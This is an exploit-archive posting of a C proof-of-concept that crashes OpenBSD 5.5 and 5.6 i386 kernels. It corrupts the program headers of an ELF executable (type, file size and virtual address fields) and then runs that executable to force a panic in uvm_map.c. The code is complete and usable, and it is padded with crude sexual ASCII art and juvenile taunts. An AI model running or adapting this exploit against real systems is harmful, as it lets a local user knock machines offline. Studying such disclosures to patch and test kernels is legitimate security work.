OpenBSD 5.6 – Multiple Local Kernel Panics (Denial of Service)
/* # Exploit Title: OpenBSD <= 5.6 - Multiple Local Kernel Panics # Exploit Author: nitr0us # Vendor Homepage: http://www.openbsd.org # Version: 5.6 # Tested on: OpenBSD 5.6 i386 (snapshot - Nov 25th, 2014), OpenBSD 5.6 i386, OpenBSD 5.5 i386 * - 0xb16b00b5.c * * - Alejandro Hernandez (@nitr0usmx) * - Mexico 2015 * * ######################################################################### * # OpenBSD <= 5.6 kernel panic()'s in sys/uvm/uvm_map.c # * ######################################################################### * * Tested under: * - OpenBSD 5.6 i386 (snapshot - Nov 25th, 2014) * - OpenBSD 5.6 i386 * - OpenBSD 5.5 i386 * * https://www.youtube.com/watch?feature=player_detailpage&v=PReopSQZOrY#t=20 * */ #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/mman.h> #include <sys/param.h> #include <sys/types.h> #ifndef __OpenBSD__ #error "Not OpenBSD !!!1111"; #else #include <sys/exec_elf.h> #endif #ifndef __i386__ #error "Not i386 !!!1111"; #endif char big_b00bz[] = " 8M:::::::8888M:::::888:::::::88:::8888888::::::::Mm\n" " 88MM:::::8888M:::::::88::::::::8:::::888888:::M:::::M\n" " 8888M:::::888MM::::::::8:::::::::::M::::8888::::M::::M\n" " 88888M:::::88:M::::::::::8:::::::::::M:::8888::::::M::M\n" " 88 888MM:::888:M:::::::::::::::::::::::M:8888:::::::::M:\n" " 8 88888M:::88::M:::::::::::::::::::::::MM:88::::::::::::M\n" " 88888M:::88::M::::::::::*88*::::::::::M:88::::::::::::::M\n" " 888888M:::88::M:::::::::88@@88:::::::::M::88::::::::::::::M\n" " 888888MM::88::MM::::::::88@@88:::::::::M:::8::::::::::::::*8\n" " 88888 M:::8::MM:::::::::*88*::::::::::M:::::::::::::::::88@@\n" " 8888 MM::::::MM:::::::::::::::::::::MM:::::::::::::::::88@@\n" " 888 M:::::::MM:::::::::::::::::::MM::M::::::::::::::::*8\n" " 888 MM:::::::MMM::::::::::::::::MM:::MM:::::::::::::::M\n" " 88 M::::::::MMMM:::::::::::MMMM:::::MM::::::::::::MM\n" " 88 MM:::::::::MMMMMMMMMMMMMMM::::::::MMM::::::::MMM\n" " 88 MM::::::::::::MMMMMMM::::::::::::::MMMMMMMMMM\n" " 88 8MM::::::::::::::::::::::::::::::::::MMMMMM\n" " 8 88MM::::::::::::::::::::::M:::M::::::::MM\n" " 888MM::::::::::::::::::MM::::::MM::::::M"; int main(int argc, char **argv) { Elf32_Ehdr *hdr; Elf32_Phdr *pht; struct stat statinfo; char *elfptr; int fd; if(argc != 2) return printf("Usage: %s <elf_exec>\n", argv[0]); fd = open(argv[1], O_RDWR); fstat(fd, &statinfo); elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); hdr = (Elf32_Ehdr *) (elfptr); pht = (Elf32_Phdr *) (elfptr + hdr->e_phoff); printf("%s", big_b00bz); pht[9].p_type = 0x7defaced; // <--- these overwrites ------------v pht[2].p_filesz = (arc4random() % 2) ? 0x41414141 : 0x43434343; // are necessary sleep(3 + (arc4random() % 3)); if(arc4random() % 3 == 2) puts(" .. I like b1g 0nez !!"); // 33.33% chance else { if(arc4random() % 2){ puts(" .. want s0me ?!"); pht[5].p_vaddr = 0xb16b00b5; } // .6666 * .5 = 33.33% chance else { puts(" .. j00 like it ?!"); pht[5].p_vaddr = 0x0ace55e8; }} // .6666 * .5 = 33.33% chance msync(elfptr, 0, MS_ASYNC); munmap(elfptr, statinfo.st_size); close(fd); sleep(3 + (arc4random() % 3)); system(argv[1]); // ( o )( o ) panic() puts("... s0rry, this piece of sh1t didn't w0rk in j00r obsd\n"); return 0xDEFECA7E; } |